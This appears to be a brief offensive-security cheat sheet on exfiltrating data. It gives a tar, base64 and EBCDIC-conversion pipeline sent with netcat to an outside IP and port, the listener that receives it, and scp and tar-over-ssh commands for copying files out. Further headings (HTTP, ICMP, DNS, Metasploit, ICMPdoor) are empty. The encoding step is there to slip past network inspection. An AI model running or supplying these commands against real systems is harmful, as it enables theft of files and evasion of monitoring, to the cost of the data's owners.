Data Exfilteration
TCP
# encoding the contents of the file and sharing over tcp connection
# 1. create a gunzip archive of all the files
# 2. Convert it to base64
# 3. encode it with EBCDIC format and send the data
tar czf - folder/ | base64 | dd conv=ebcdic | nc 192.168.5.4 8888
# Recive the files
nc -nvlp 8888 | dd conv=ascii | base64 -d | tar xzf -SSH
# Method 1 - scp - secure copy
scp files/* user@mymachine
# Method 2 - if scp is not available
tar czf - files/ | ssh user@mymachine "mkdir /tmp/recieved ; tar xzf -"HTTP/HTTPS
ICMP
Metasploit
ICMPdoor
DNS
Last updated